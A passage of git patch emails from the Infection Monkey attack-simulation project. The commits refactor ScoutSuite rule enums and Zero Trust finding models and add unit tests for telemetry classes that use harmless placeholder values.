@@ -1,7 +1,7 @@ -from enum import Enum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum -class SESRules(Enum): +class SESRules(RuleNameEnum): # Permissive policies SES_IDENTITY_WORLD_SENDRAWEMAIL_POLICY = 'ses-identity-world-SendRawEmail-policy' diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sns_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sns_rules.py index 1193388e1..9fb847114 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sns_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sns_rules.py @@ -1,7 +1,7 @@ -from enum import Enum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum -class SNSRules(Enum): +class SNSRules(RuleNameEnum): # Permissive policies SNS_TOPIC_WORLD_SUBSCRIBE_POLICY = 'sns-topic-world-Subscribe-policy' diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sqs_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sqs_rules.py index d3f512416..cc5c774e3 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sqs_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sqs_rules.py @@ -1,7 +1,7 @@ -from enum import Enum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum -class SQSRules(Enum): +class SQSRules(RuleNameEnum): # Permissive policies SQS_QUEUE_WORLD_SENDMESSAGE_POLICY = 'sqs-queue-world-SendMessage-policy' diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/vpc_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/vpc_rules.py index 300a76dbb..4dcbd4f1a 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/vpc_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/vpc_rules.py @@ -1,7 +1,7 @@ -from enum import Enum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum -class VPCRules(Enum): +class VPCRules(RuleNameEnum): # Logging SUBNET_WITHOUT_FLOW_LOG = 'vpc-subnet-without-flow-log' diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_finding_maps.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_finding_maps.py index de0c7aa45..251e57324 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_finding_maps.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_finding_maps.py @@ -12,6 +12,7 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elbv2_rul from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.iam_rules import IAMRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rds_rules import RDSRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.redshift_rules import RedshiftRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.s3_rules import S3Rules from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ses_rules import SESRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.sns_rules import SNSRules @@ -23,7 +24,7 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.vpc_rules class ScoutSuiteFindingMap(ABC): @property @abstractmethod - def rules(self) -> List[EC2Rules]: + def rules(self) -> List[RuleNameEnum]: pass @property diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py index a5c3f7345..7a2b25863 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py @@ -1,5 +1,5 @@ from abc import ABC, abstractmethod -from enum import Enum +from enum import Enum, EnumMeta from typing import List from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import FINDINGS, SERVICES, SERVICE_TYPES @@ -14,7 +14,7 @@ class AbstractRulePathCreator(ABC): @property @abstractmethod - def supported_rules(self) -> List: + def supported_rules(self) -> EnumMeta: pass @classmethod From e96ee305fb2ad59691a89649bc1a754b4581a638 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 11 Feb 2021 16:52:20 +0200 Subject: [PATCH 253/466] Minor variable and method refactoring to improve readability in scoutsuite code --- .../scoutsuite_collector/scoutsuite_collector.py | 6 +++--- monkey/infection_monkey/telemetry/scoutsuite_telem.py | 10 +++------- .../monkey_findings/monkey_zt_details_service.py | 5 +++-- 3 files changed, 9 insertions(+), 12 deletions(-) diff --git a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py index 0664b9b0f..c637e3593 100644 --- a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py +++ b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py @@ -16,7 +16,7 @@ def scan_cloud_security(cloud_type: CloudProviders): results = run_scoutsuite(cloud_type.value) if isinstance(results, dict) and 'error' in results and results['error']: raise ScoutSuiteScanError(results['error']) - send_results(results) + send_scoutsuite_run_results(results) except (Exception, ScoutSuiteScanError) as e: logger.error(f"ScoutSuite didn't scan {cloud_type.value} security because: {e}") @@ -28,5 +28,5 @@ def run_scoutsuite(cloud_type: str) -> Union[BaseProvider, dict]: aws_session_token=WormConfiguration.aws_session_token) -def send_results(results: BaseProvider): - ScoutSuiteTelem(results).send() +def send_scoutsuite_run_results(run_results: BaseProvider): + ScoutSuiteTelem(run_results).send() diff --git a/monkey/infection_monkey/telemetry/scoutsuite_telem.py b/monkey/infection_monkey/telemetry/scoutsuite_telem.py index 5ad553e94..16cf47bdd 100644 --- a/monkey/infection_monkey/telemetry/scoutsuite_telem.py +++ b/monkey/infection_monkey/telemetry/scoutsuite_telem.py @@ -6,18 +6,14 @@ from infection_monkey.telemetry.base_telem import BaseTelem class ScoutSuiteTelem(BaseTelem): - def __init__(self, data: BaseProvider): - """ - Default ScoutSuite telemetry constructor - :param data: Data gathered via ScoutSuite - """ + def __init__(self, provider: BaseProvider): super().__init__() - self.data = data + self.provider_data = provider json_encoder = ScoutJsonEncoder telem_category = TelemCategoryEnum.SCOUTSUITE def get_data(self): return { - 'data': self.data + 'data': self.provider_data } diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py index 3b2a0eed0..167934d29 100644 --- a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py @@ -20,8 +20,9 @@ class MonkeyZTDetailsService: 'latest_events': {'$slice': ['$events', int(-1 * MAX_EVENT_FETCH_CNT / 2)]}, 'event_count': {'$size': '$events'}}}, {'$unset': ['events']}] - details = list(MonkeyFindingDetails.objects.aggregate(*pipeline))[0] - if details: + detail_list = list(MonkeyFindingDetails.objects.aggregate(*pipeline)) + if detail_list: + details = detail_list[0] details['latest_events'] = MonkeyZTDetailsService._remove_redundant_events(details['event_count'], details['latest_events']) return details From 25704b74c9ff56067b929e0414703af854988857 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 11 Feb 2021 16:53:19 +0200 Subject: [PATCH 254/466] Zero Trust finding saving method refactored to remove code duplication between children --- monkey/monkey_island/cc/models/zero_trust/finding.py | 12 ++++++------ .../cc/models/zero_trust/monkey_finding.py | 10 ---------- .../cc/models/zero_trust/scoutsuite_finding.py | 10 ---------- 3 files changed, 6 insertions(+), 26 deletions(-) diff --git a/monkey/monkey_island/cc/models/zero_trust/finding.py b/monkey/monkey_island/cc/models/zero_trust/finding.py index 4d108ddde..2e6b9c172 100644 --- a/monkey/monkey_island/cc/models/zero_trust/finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/finding.py @@ -5,8 +5,6 @@ Define a Document Schema for Zero Trust findings. from __future__ import annotations -import abc - from mongoengine import Document, GenericLazyReferenceField, StringField import common.common_consts.zero_trust_consts as zero_trust_consts @@ -45,9 +43,11 @@ class Finding(Document): details = GenericLazyReferenceField(required=True) # Creation methods - @staticmethod - @abc.abstractmethod - def save_finding(test: str, + @classmethod + def save_finding(cls, + test: str, status: str, detail_ref) -> Finding: - pass + finding = cls(test=test, status=status, details=detail_ref) + finding.save() + return finding diff --git a/monkey/monkey_island/cc/models/zero_trust/monkey_finding.py b/monkey/monkey_island/cc/models/zero_trust/monkey_finding.py index e063ea5c1..1de81303c 100644 --- a/monkey/monkey_island/cc/models/zero_trust/monkey_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/monkey_finding.py @@ -6,13 +6,3 @@ from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFind class MonkeyFinding(Finding): details = LazyReferenceField(MonkeyFindingDetails, required=True) - - @staticmethod - def save_finding(test: str, - status: str, - detail_ref: MonkeyFindingDetails) -> Finding: - monkey_finding = MonkeyFinding(test=test, - status=status, - details=detail_ref) - monkey_finding.save() - return monkey_finding diff --git a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py index 8adeef2e9..dd323a73c 100644 --- a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py @@ -6,13 +6,3 @@ from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutS class ScoutSuiteFinding(Finding): details = LazyReferenceField(ScoutSuiteFindingDetails, required=True) - - @staticmethod - def save_finding(test: str, - status: str, - detail_ref: ScoutSuiteFindingDetails) -> Finding: - scoutsuite_finding = ScoutSuiteFinding(test=test, - status=status, - details=detail_ref) - scoutsuite_finding.save() - return scoutsuite_finding From b9bbfac30b29475f1cae054efb1b91a529f328e2 Mon Sep 17 00:00:00 2001 From: Shreya Date: Sat, 23 Jan 2021 00:06:24 +0530 Subject: [PATCH 255/466] Add/modify tests for attack telems --- .../attack/tests/test_attack_telem_classes.py | 63 ++++++ .../attack/tests/test_technique_telems.py | 184 ++++++++++++++++++ .../attack/victim_host_telem_test.py | 29 --- 3 files changed, 247 insertions(+), 29 deletions(-) create mode 100644 monkey/infection_monkey/telemetry/attack/tests/test_attack_telem_classes.py create mode 100644 monkey/infection_monkey/telemetry/attack/tests/test_technique_telems.py delete mode 100644 monkey/infection_monkey/telemetry/attack/victim_host_telem_test.py diff --git a/monkey/infection_monkey/telemetry/attack/tests/test_attack_telem_classes.py b/monkey/infection_monkey/telemetry/attack/tests/test_attack_telem_classes.py new file mode 100644 index 000000000..ca850ef9e --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/tests/test_attack_telem_classes.py @@ -0,0 +1,63 @@ +import pytest + +from common.utils.attack_utils import ScanStatus, UsageEnum +from infection_monkey.model import VictimHost +from infection_monkey.telemetry.attack.attack_telem import AttackTelem +from infection_monkey.telemetry.attack.usage_telem import UsageTelem +from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem + +MACHINE = VictimHost('127.0.0.1') +STATUS = ScanStatus.USED +TECHNIQUE = 'T9999' +USAGE = UsageEnum.SMB + + +@pytest.fixture +def attack_telem_test_instance(): + return AttackTelem(TECHNIQUE, STATUS) + + +def test_attack_telem_category(attack_telem_test_instance): + assert attack_telem_test_instance.telem_category == 'attack' + + +def test_attack_telem_get_data(attack_telem_test_instance): + actual_data = attack_telem_test_instance.get_data() + expected_data = {'status': STATUS.value, + 'technique': TECHNIQUE} + assert actual_data == expected_data + + +@pytest.fixture +def usage_telem_test_instance(): + return UsageTelem(TECHNIQUE, STATUS, USAGE) + + +def test_usage_telem_category(usage_telem_test_instance): + assert usage_telem_test_instance.telem_category == 'attack' + + +def test_usage_telem_get_data(usage_telem_test_instance): + actual_data = usage_telem_test_instance.get_data() + expected_data = {'status': STATUS.value, + 'technique': TECHNIQUE, + 'usage': USAGE.name} + assert actual_data == expected_data + + +@pytest.fixture +def victim_host_telem_test_instance(): + return VictimHostTelem(TECHNIQUE, STATUS, MACHINE) + + +def test_victim_host_telem_category(victim_host_telem_test_instance): + assert victim_host_telem_test_instance.telem_category == 'attack' + + +def test_victim_host_telem_get_data(victim_host_telem_test_instance): + actual_data = victim_host_telem_test_instance.get_data() + expected_data = {'machine': {'domain_name': MACHINE.domain_name, + 'ip_addr': MACHINE.ip_addr}, + 'status': STATUS.value, + 'technique': TECHNIQUE} + assert actual_data == expected_data diff --git a/monkey/infection_monkey/telemetry/attack/tests/test_technique_telems.py b/monkey/infection_monkey/telemetry/attack/tests/test_technique_telems.py new file mode 100644 index 000000000..47fd71665 --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/tests/test_technique_telems.py @@ -0,0 +1,184 @@ +import pytest + +from common.utils.attack_utils import ScanStatus, UsageEnum +from infection_monkey.model import VictimHost +from infection_monkey.telemetry.attack.t1005_telem import T1005Telem +from infection_monkey.telemetry.attack.t1035_telem import T1035Telem +from infection_monkey.telemetry.attack.t1064_telem import T1064Telem +from infection_monkey.telemetry.attack.t1105_telem import T1105Telem +from infection_monkey.telemetry.attack.t1106_telem import T1106Telem +from infection_monkey.telemetry.attack.t1107_telem import T1107Telem +from infection_monkey.telemetry.attack.t1129_telem import T1129Telem +from infection_monkey.telemetry.attack.t1197_telem import T1197Telem +from infection_monkey.telemetry.attack.t1222_telem import T1222Telem + +GATHERED_DATA_TYPE = '[Type of data collected]' +INFO = '[Additional info]' +MACHINE = VictimHost('127.0.0.1') +STATUS = ScanStatus.USED +USAGE = UsageEnum.SMB +SRC_IP = '0.0.0.0' +DST_IP = '0.0.0.1' +FILENAME = 'virus.exe' +PATH = 'path/to/file.txt' +COMMAND = 'echo hi' + + +@pytest.fixture +def T1005_telem_test_instance(): + return T1005Telem(STATUS, GATHERED_DATA_TYPE, INFO) + + +def test_T1005_telem_category(T1005_telem_test_instance): + assert T1005_telem_test_instance.telem_category == 'attack' + + +def test_T1005_get_data(T1005_telem_test_instance): + actual_data = T1005_telem_test_instance.get_data() + expected_data = {'status': STATUS.value, + 'technique': 'T1005', + 'gathered_data_type': GATHERED_DATA_TYPE, + 'info': INFO} + assert actual_data == expected_data + + +@pytest.fixture +def T1035_telem_test_instance(): + return T1035Telem(STATUS, USAGE) + + +def test_T1035_telem_category(T1035_telem_test_instance): + assert T1035_telem_test_instance.telem_category == 'attack' + + +def test_T1035_get_data(T1035_telem_test_instance): + actual_data = T1035_telem_test_instance.get_data() + expected_data = {'status': STATUS.value, + 'technique': 'T1035', + 'usage': USAGE.name} + assert actual_data == expected_data + + +@pytest.fixture +def T1064_telem_test_instance(): + return T1064Telem(STATUS, USAGE) + + +def test_T1064_telem_category(T1064_telem_test_instance): + assert T1064_telem_test_instance.telem_category == 'attack' + + +def test_T1064_get_data(T1064_telem_test_instance): + actual_data = T1064_telem_test_instance.get_data() + expected_data = {'status': STATUS.value, + 'technique': 'T1064', + 'usage': USAGE} + assert actual_data == expected_data + + +@pytest.fixture +def T1105_telem_test_instance(): + return T1105Telem(STATUS, SRC_IP, DST_IP, FILENAME) + + +def test_T1105_telem_category(T1105_telem_test_instance): + assert T1105_telem_test_instance.telem_category == 'attack' + + +def test_T1105_get_data(T1105_telem_test_instance): + actual_data = T1105_telem_test_instance.get_data() + expected_data = {'status': STATUS.value, + 'technique': 'T1105', + 'filename': FILENAME, + 'src': SRC_IP, + 'dst': DST_IP} + assert actual_data == expected_data + + +@pytest.fixture +def T1106_telem_test_instance(): + return T1106Telem(STATUS, USAGE) + + +def test_T1106_telem_category(T1106_telem_test_instance): + assert T1106_telem_test_instance.telem_category == 'attack' + + +def test_T1106_get_data(T1106_telem_test_instance): + actual_data = T1106_telem_test_instance.get_data() + expected_data = {'status': STATUS.value, + 'technique': 'T1106', + 'usage': USAGE.name} + assert actual_data == expected_data + + +@pytest.fixture +def T1107_telem_test_instance(): + return T1107Telem(STATUS, PATH) + + +def test_T1107_telem_category(T1107_telem_test_instance): + assert T1107_telem_test_instance.telem_category == 'attack' + + +def test_T1107_get_data(T1107_telem_test_instance): + actual_data = T1107_telem_test_instance.get_data() + expected_data = {'status': STATUS.value, + 'technique': 'T1107', + 'path': PATH} + assert actual_data == expected_data + + +@pytest.fixture +def T1129_telem_test_instance(): + return T1129Telem(STATUS, USAGE) + + +def test_T1129_telem_category(T1129_telem_test_instance): + assert T1129_telem_test_instance.telem_category == 'attack' + + +def test_T1129_get_data(T1129_telem_test_instance): + actual_data = T1129_telem_test_instance.get_data() + expected_data = {'status': STATUS.value, + 'technique': 'T1129', + 'usage': USAGE.name} + assert actual_data == expected_data + + +@pytest.fixture +def T1197_telem_test_instance(): + return T1197Telem(STATUS, MACHINE, USAGE) + + +def test_T1197_telem_category(T1197_telem_test_instance): + assert T1197_telem_test_instance.telem_category == 'attack' + + +def test_T1197_get_data(T1197_telem_test_instance): + actual_data = T1197_telem_test_instance.get_data() + expected_data = {'machine': {'domain_name': MACHINE.domain_name, + 'ip_addr': MACHINE.ip_addr}, + 'status': STATUS.value, + 'technique': 'T1197', + 'usage': USAGE} + assert actual_data == expected_data + + +@pytest.fixture +def T1222_telem_test_instance(): + return T1222Telem(STATUS, COMMAND, MACHINE) + + +def test_T1222_telem_category(T1222_telem_test_instance): + assert T1222_telem_test_instance.telem_category == 'attack' + + +def test_T1222_get_data(T1222_telem_test_instance): + actual_data = T1222_telem_test_instance.get_data() + expected_data = {'machine': {'domain_name': MACHINE.domain_name, + 'ip_addr': MACHINE.ip_addr}, + 'status': STATUS.value, + 'technique': 'T1222', + 'command': COMMAND} + assert actual_data == expected_data diff --git a/monkey/infection_monkey/telemetry/attack/victim_host_telem_test.py b/monkey/infection_monkey/telemetry/attack/victim_host_telem_test.py deleted file mode 100644 index 2ccab7483..000000000 --- a/monkey/infection_monkey/telemetry/attack/victim_host_telem_test.py +++ /dev/null @@ -1,29 +0,0 @@ -from unittest import TestCase - -from common.utils.attack_utils import ScanStatus -from infection_monkey.model import VictimHost -from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem - - -class TestVictimHostTelem(TestCase): - def test_get_data(self): - machine = VictimHost('127.0.0.1') - status = ScanStatus.USED - technique = 'T1210' - - telem = VictimHostTelem(technique, status, machine) - - self.assertEqual(telem.telem_category, 'attack') - - expected_data = { - 'machine': { - 'domain_name': machine.domain_name, - 'ip_addr': machine.ip_addr - }, - 'status': status.value, - 'technique': technique - } - - actual_data = telem.get_data() - - self.assertEqual(actual_data, expected_data) From 6b0cc1e36856c9f99693d624a5412ee4ca96f0a1 Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 17 Feb 2021 18:05:16 +0530 Subject: [PATCH 256/466] Add tests for other base telems + put all telem tests in one folder --- .../tests/test_attack_telem_classes.py | 1 + .../tests/test_base_telem_classes.py | 142 ++++++++++++++++++ .../tests/test_technique_telems.py | 1 + 3 files changed, 144 insertions(+) rename monkey/infection_monkey/telemetry/{attack => }/tests/test_attack_telem_classes.py (99%) create mode 100644 monkey/infection_monkey/telemetry/tests/test_base_telem_classes.py rename monkey/infection_monkey/telemetry/{attack => }/tests/test_technique_telems.py (99%) diff --git a/monkey/infection_monkey/telemetry/attack/tests/test_attack_telem_classes.py b/monkey/infection_monkey/telemetry/tests/test_attack_telem_classes.py similarity index 99% rename from monkey/infection_monkey/telemetry/attack/tests/test_attack_telem_classes.py rename to monkey/infection_monkey/telemetry/tests/test_attack_telem_classes.py index ca850ef9e..de77c6ec1 100644 --- a/monkey/infection_monkey/telemetry/attack/tests/test_attack_telem_classes.py +++ b/monkey/infection_monkey/telemetry/tests/test_attack_telem_classes.py @@ -6,6 +6,7 @@ from infection_monkey.telemetry.attack.attack_telem import AttackTelem from infection_monkey.telemetry.attack.usage_telem import UsageTelem from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem + MACHINE = VictimHost('127.0.0.1') STATUS = ScanStatus.USED TECHNIQUE = 'T9999' diff --git a/monkey/infection_monkey/telemetry/tests/test_base_telem_classes.py b/monkey/infection_monkey/telemetry/tests/test_base_telem_classes.py new file mode 100644 index 000000000..3d00175e0 --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/test_base_telem_classes.py @@ -0,0 +1,142 @@ +import pytest + +from infection_monkey.exploit.wmiexec import WmiExploiter +from infection_monkey.model.host import VictimHost +from infection_monkey.post_breach.actions.schedule_jobs import ScheduleJobs +from infection_monkey.telemetry.exploit_telem import ExploitTelem +from infection_monkey.telemetry.post_breach_telem import PostBreachTelem +from infection_monkey.telemetry.scan_telem import ScanTelem +from infection_monkey.telemetry.state_telem import StateTelem +from infection_monkey.telemetry.system_info_telem import SystemInfoTelem +from infection_monkey.telemetry.trace_telem import TraceTelem +from infection_monkey.telemetry.tunnel_telem import TunnelTelem + + +DOMAIN_NAME = 'domain-name' +HOSTNAME = 'hostname' +IP = '0.0.0.0' +IS_DONE = True +MSG = 'message' +RESULT = False +SYSTEM_INFO = {} +VERSION = 'version' +HOST = VictimHost(IP, DOMAIN_NAME) +EXPLOITER = WmiExploiter(HOST) +PBA = ScheduleJobs() + + +@pytest.fixture +def exploit_telem_test_instance(): + return ExploitTelem(EXPLOITER, RESULT) + + +def test_exploit_telem_category(exploit_telem_test_instance): + assert exploit_telem_test_instance.telem_category == 'exploit' + + +def test_exploit_telem_get_data(exploit_telem_test_instance): + actual_data = exploit_telem_test_instance.get_data() + expected_data = {'result': RESULT, + 'machine': HOST.as_dict(), + 'exploiter': EXPLOITER.__class__.__name__, + 'info': EXPLOITER.exploit_info, + 'attempts': EXPLOITER.exploit_attempts} + assert actual_data == expected_data + + +@pytest.fixture +def post_breach_telem_test_instance(mocker): + mocker.patch('infection_monkey.telemetry.post_breach_telem.PostBreachTelem._get_hostname_and_ip', + return_value=(HOSTNAME, IP)) + return PostBreachTelem(PBA, RESULT) + + +def test_post_breach_telem_category(post_breach_telem_test_instance): + assert post_breach_telem_test_instance.telem_category == 'post_breach' + + +def test_post_breach_telem_get_data(post_breach_telem_test_instance): + actual_data = post_breach_telem_test_instance.get_data() + expected_data = {'command': PBA.command, + 'result': RESULT, + 'name': PBA.name, + 'hostname': HOSTNAME, + 'ip': IP} + assert actual_data == expected_data + + +@pytest.fixture +def scan_telem_test_instance(): + return ScanTelem(HOST) + + +def test_scan_telem_category(scan_telem_test_instance): + assert scan_telem_test_instance.telem_category == 'scan' + + +def test_scan_telem_get_data(scan_telem_test_instance): + actual_data = scan_telem_test_instance.get_data() + expected_data = {'machine': HOST.as_dict(), + 'service_count': len(HOST.services)} + assert actual_data == expected_data + + +@pytest.fixture +def state_telem_test_instance(): + return StateTelem(IS_DONE, VERSION) + + +def test_state_telem_category(state_telem_test_instance): + assert state_telem_test_instance.telem_category == 'state' + + +def test_state_telem_get_data(state_telem_test_instance): + actual_data = state_telem_test_instance.get_data() + expected_data = {'done': IS_DONE, + 'version': VERSION} + assert actual_data == expected_data + + +@pytest.fixture +def system_info_telem_test_instance(): + return SystemInfoTelem(SYSTEM_INFO) + + +def test_system_info_telem_category(system_info_telem_test_instance): + assert system_info_telem_test_instance.telem_category == 'system_info' + + +def test_system_info_telem_get_data(system_info_telem_test_instance): + actual_data = system_info_telem_test_instance.get_data() + expected_data = SYSTEM_INFO + assert actual_data == expected_data + + +@pytest.fixture +def trace_telem_test_instance(): + return TraceTelem(MSG) + + +def test_trace_telem_category(trace_telem_test_instance): + assert trace_telem_test_instance.telem_category == 'trace' + + +def test_trace_telem_get_data(trace_telem_test_instance): + actual_data = trace_telem_test_instance.get_data() + expected_data = {'msg': MSG} + assert actual_data == expected_data + + +@pytest.fixture +def tunnel_telem_test_instance(): + return TunnelTelem() + + +def test_tunnel_telem_category(tunnel_telem_test_instance): + assert tunnel_telem_test_instance.telem_category == 'tunnel' + + +def test_tunnel_telem_get_data(tunnel_telem_test_instance): + actual_data = tunnel_telem_test_instance.get_data() + expected_data = {'proxy': None} + assert actual_data == expected_data diff --git a/monkey/infection_monkey/telemetry/attack/tests/test_technique_telems.py b/monkey/infection_monkey/telemetry/tests/test_technique_telems.py similarity index 99% rename from monkey/infection_monkey/telemetry/attack/tests/test_technique_telems.py rename to monkey/infection_monkey/telemetry/tests/test_technique_telems.py index 47fd71665..907205a0f 100644 --- a/monkey/infection_monkey/telemetry/attack/tests/test_technique_telems.py +++ b/monkey/infection_monkey/telemetry/tests/test_technique_telems.py @@ -12,6 +12,7 @@ from infection_monkey.telemetry.attack.t1129_telem import T1129Telem from infection_monkey.telemetry.attack.t1197_telem import T1197Telem from infection_monkey.telemetry.attack.t1222_telem import T1222Telem + GATHERED_DATA_TYPE = '[Type of data collected]' INFO = '[Additional info]' MACHINE = VictimHost('127.0.0.1') From 42b7fa05d6662d7680dd1f18a2088b0419f546c4 Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 17 Feb 2021 18:45:48 +0530 Subject: [PATCH 257/466] Add requirement --- monkey/infection_monkey/requirements.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/infection_monkey/requirements.txt b/monkey/infection_monkey/requirements.txt index 0a1dbd282..b81018d95 100644 --- a/monkey/infection_monkey/requirements.txt +++ b/monkey/infection_monkey/requirements.txt @@ -13,5 +13,6 @@ pyftpdlib==1.5.6 pymssql<3.0 pypykatz==0.3.12 pysmb==1.2.5 +pytest-mock==3.5.1 requests>=2.24 wmi==1.5.1 ; sys_platform == 'win32' From 8b8c5f95908f8c27a92cdc47e6d1429de6b5effe Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 17 Feb 2021 16:20:13 +0200 Subject: [PATCH 258/466] Added RuleNameEnum class and a type hint related to it in abstract class --- .../scoutsuite/consts/rule_names/rule_name_enum.py | 5 +++++ .../rule_path_building/abstract_rule_path_creator.py | 7 ++++--- 2 files changed, 9 insertions(+), 3 deletions(-) create mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rule_name_enum.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rule_name_enum.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rule_name_enum.py new file mode 100644 index 000000000..5ad382c3d --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rule_name_enum.py @@ -0,0 +1,5 @@ +from enum import Enum + + +class RuleNameEnum(Enum): + pass diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py index 7a2b25863..b4767124b 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py @@ -1,7 +1,8 @@ from abc import ABC, abstractmethod -from enum import Enum, EnumMeta -from typing import List +from enum import Enum +from typing import List, Type +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import FINDINGS, SERVICES, SERVICE_TYPES @@ -14,7 +15,7 @@ class AbstractRulePathCreator(ABC): @property @abstractmethod - def supported_rules(self) -> EnumMeta: + def supported_rules(self) -> Type[RuleNameEnum]: pass @classmethod From 01c775e9557b1da981ab1697606949c4d83f2121 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 17 Feb 2021 16:53:59 +0200 Subject: [PATCH 259/466] Refactored details out of abstract finding document. --- .../cc/models/zero_trust/finding.py | 16 +--------------- .../cc/models/zero_trust/monkey_finding.py | 12 ++++++++++++ .../cc/models/zero_trust/scoutsuite_finding.py | 12 ++++++++++++ .../monkey_findings/monkey_zt_finding_service.py | 2 +- 4 files changed, 26 insertions(+), 16 deletions(-) diff --git a/monkey/monkey_island/cc/models/zero_trust/finding.py b/monkey/monkey_island/cc/models/zero_trust/finding.py index 2e6b9c172..5c8223e49 100644 --- a/monkey/monkey_island/cc/models/zero_trust/finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/finding.py @@ -5,7 +5,7 @@ Define a Document Schema for Zero Trust findings. from __future__ import annotations -from mongoengine import Document, GenericLazyReferenceField, StringField +from mongoengine import Document, StringField import common.common_consts.zero_trust_consts as zero_trust_consts # Dummy import for mongoengine. @@ -37,17 +37,3 @@ class Finding(Document): # SCHEMA test = StringField(required=True, choices=zero_trust_consts.TESTS) status = StringField(required=True, choices=zero_trust_consts.ORDERED_TEST_STATUSES) - - # Details are in a separate document in order to discourage pulling them when not needed - # due to performance. - details = GenericLazyReferenceField(required=True) - - # Creation methods - @classmethod - def save_finding(cls, - test: str, - status: str, - detail_ref) -> Finding: - finding = cls(test=test, status=status, details=detail_ref) - finding.save() - return finding diff --git 